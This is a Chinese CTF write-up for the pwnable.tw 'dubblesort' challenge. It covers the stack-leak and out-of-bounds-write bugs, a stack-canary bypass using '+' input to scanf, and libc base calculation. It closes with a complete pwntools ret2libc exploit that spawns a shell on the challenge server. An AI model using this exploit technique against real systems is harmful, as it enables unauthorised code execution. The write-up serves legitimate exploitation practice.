Y11en

题目地址https://pwnable.tw/challenge/#4

程序分析

题目地址https://pwnable.tw/challenge/#4
这道题目是一个冒泡排序的小程序，主要流程是这样的

[email protected]:~/Desktop/ctf/pwnable.tw$ ./dubblesort 
What your name :nottellyou
Hello nottellyou
,How many numbers do you what to sort :4
Enter the 0 number : 6
Enter the 1 number : 7
Enter the 2 number : 1
Enter the 3 number : 2
Processing......
Result :
1 2 6 7 

### 检查下保护
[email protected]:~/Desktop/ctf/pwnable.tw$ checksec dubblesort 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/y11en/Desktop/ctf/pwnable.tw/dubblesort'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

题目有2处输入，一处是输入name，另一处是输入排序数组的信息项数和项信息。

问题1

在name输入的地方，由于没有初始化栈数据，导致打印name时后面栈上数据被泄露

int name[16]; // [esp+3Ch] [ebp-50h]
unsigned int v12; // [esp+7Ch] [ebp-10h]

v12 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, (int)"What your name :", v8);
read(0, name, 0x40u);                         // 未初始化内存
__printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :", (int)name);

问题2

在输入待排序项时，只有8个元素的的数组作为缓存，而实际待排序个数由用户输入 ,当这个大小 >8时，打印栈后数据，当然在其排序逻辑中，可以越界写数据。

int v10[8]; // [esp+1Ch] [ebp-70h]

...

  __isoc99_scanf((int)"%u", (int)&numcount);
  idx = numcount;
  if ( numcount )
  {
    v4 = v10;
    v5 = 0;
    do
    {
      __printf_chk(1, (int)"Enter the %d number : ", v5);
      fflush(stdout);
      __isoc99_scanf((int)"%u", (int)v4);       // 输入非数字导致该函数不执行实际功能
      ++v5;
      idx = numcount;
      ++v4;
    }
    while ( numcount > v5 );
  }

利用

栈数据泄露

scanf("%u",&x) 中%u是输入无符号整型的格式符。
为了保证只覆盖需要的数据(跳过stack cookie)，我们需要知道在%u的格式符下，输入除去数字外的字符时不会被接收(不产生赋值操作)，但只输入”+””-“可以被接收并且不产生赋值操作。

[email protected]:~/Desktop/ctf/pwnable.tw$ ./dubblesort 
What your name :a
Hello a
,How many numbers do you what to sort :3
Enter the 0 number : 0
Enter the 1 number : +
Enter the 2 number : 0
Processing......
Result :
0 0 3217242607 [email protected]:~/Desktop/ctf/pwnable.tw$

栈数据覆盖

由于不会被接收，所以字母类型的会一直在输入缓冲区放着，导致后面的也会不接收，造成程序唰唰唰的执行到底，这就无法满足我们想跳过前面1个覆盖第2个的需要，而“+”,“-”可以!
既然可以控制排序数组的边界，那么我们尝试输入一个超过其缓冲大小的值，使程序越界排序(按值由小到大排序),当然排序的不是目的，覆盖关键数据才是目的，为了劫持程序流程，通过覆盖返回地址的方式，同时保证stack cookie的值不会被改，构造如下数据:

1.  让 v10到cookie的值全部为0，为0的目的是保证排序时不干扰后面的值
2.  让cookie的值不变，也即输入+或者-
3.  覆盖返回地址

libc基址获取

方式一
通过获取程序主函数的返回地址，可以计算得到 __libc_start_main 的地址，由于提供了so文件，我们可以换算得到基址，但这就使得我们需要让程序的返回地址依然返回的程序主流程中，但这个貌似比较难，首先你得知道程序入口地址实际是什么

方式二
通过调试，我们可以发现在name的后面有一个存在libc中的地址

pwndbg> x/20wx 0xbfffefdc
0xbfffefdc:	0x0000fec7	0xbffff2ab	0x0000002f	0x0000009e
0xbfffefec:	0x00000016	0x00008000	[0xb7fbb000]0xb7fb9244
0xbfffeffc:	0x80000601	0x800007a9	0x80001fa0	0x00000001
0xbffff00c:	0x80000b72	0x00000001	0xbffff0d4	0xbffff0dc
0xbffff01c:	0x84cb9400	0xb7fbb3dc	0xbffff29b	0x80000b2b

通过vmmap 命令在调试时查看libc的实际地址是 0xb7e09000,，相差0x1b2000，再通过readelf -S 看看本机libc这个地址是什么，再反查目标机器的地址

                                        addr   off  size
...
本机
[32] .got.plt          PROGBITS        001b2000 1b1000 000030 04  WA  0   0  4
目标机器
[31] .got.plt          PROGBITS        001b0000 1af000 000030 04  WA  0   0  4
...

对比目标、目标机器的libc，可以得到如下计算目标libc基地址公式

libc = leakaddr - 0x01b0000

知道这个了，通过构造大小为24非\x00字符以及，利用输入时自带的\n，覆盖掉leakaddr的低位，最后在取值时进行处理即可。

利用思路

泄露libc地址
找到system, binsh地址
通过排序设置返回地址

坑在哪？

这个题目的栈空间是一个比较坑的地方。
在布置栈分布时候，发现我们覆盖的返回地址与实际的返回地址存在偏差，而且通过数次的测试发现这个值有时会变，苦思冥想了很久，一开始以为是如下的主函数结束代码导致的

.text:00000B10 loc_B10:                                ; CODE XREF: main+146↑j
.text:00000B10                 lea     esp, [ebp-0Ch]
.text:00000B13                 pop     ebx
.text:00000B14                 pop     esi
.text:00000B15                 pop     edi
.text:00000B16                 pop     ebp
.text:00000B17                 retn

但是，经过我一而再再而三的计算，发现并不是，因为这个栈的空间就是这样平着的，最后发现是函数开头的时候，对esp进行了对齐操作，这样在很大情况下，使得esp会丢失掉部分字节，而ida不知道啊，这也和上面不常见的lea esp, [ebp-0Ch]进行了对照。

.text:000009C3                 push    ebp
.text:000009C4                 mov     ebp, esp
.text:000009C6                 push    edi
.text:000009C7                 push    esi
.text:000009C8                 push    ebx
.text:000009C9                 and     esp, 0FFFFFFF0h ; 这个 真的 我f*ck
.text:000009CC                 add     esp, 0FFFFFF80h

PWN

最终的利用代码如下:

from pwn import *
import time
DEBUG = 1
printf_plt = 0

LOCALFILE = './dubblesort'
HOST = 'chall.pwnable.tw'
PORT = 10101

#context.log_level = 'debug'
if DEBUG:
	p = process(LOCALFILE)
	#gdb.attach(p)
else:
    p = remote(HOST, PORT)

def give_me_system_binsh(libc_base , libso):
	libc=ELF(libso)
	system_addr = libc_base + libc.symbols['system']
	binsh = libc_base + next(libc.search("/bin/sh"))
	return system_addr , binsh

def leaklibc():
	#gdb.attach(p)
	p.recvuntil("What your name :")
	p.sendline("AAAA"*6)
	buf = p.recvuntil("do you what to sort :").split(",")[0]
	b = buf.split('\n')[1]	
	libaddr = u32("\x00"+b[:3])
	if DEBUG:
		libaddr -= 0x1b2000	#fix
	else:
		libaddr -= 0x1b0000	#fix
	print (hex(libaddr))
	return libaddr

def dubblesort(system_addr , binsh):
	#能不能pwn看脸
	print ("[+] dubblesort >>>")
	p.sendline("36")
	for i in range(0,36):
		print (p.recvuntil("number : "))
		if i == 24 : d = "+"
		elif i>=25 and i <= 33: 
			if i == 28:
				d = "+"	# +
			if i == 29:
				d = str(system_addr)
			else:
				d = str(system_addr)	#system_addr		
		elif i == 34 or i == 35: d= str(binsh)	#binsh
		else: d = "0"
		print(d)
		p.sendline(d)
	p.recvuntil("Processing......")
	#gdb.attach(p)
	time.sleep(2)
	print (p.recvuntil("Result :"))
	print (p.recv())
	print ("[+] dubblesort <<<")
	
def main():
	libc = leaklibc()
	if DEBUG:
		s , sh = give_me_system_binsh(libc , "/lib/i386-linux-gnu/libc-2.23.so")
	else:
		s , sh = give_me_system_binsh(libc , "./libc_32.so_dubblesort.6")
	print ((s) , (sh))	
	dubblesort(s,sh)
	p.sendline('cat /home/dubblesort/flag')
	p.interactive()
main()

pwnable.tw-dubblesort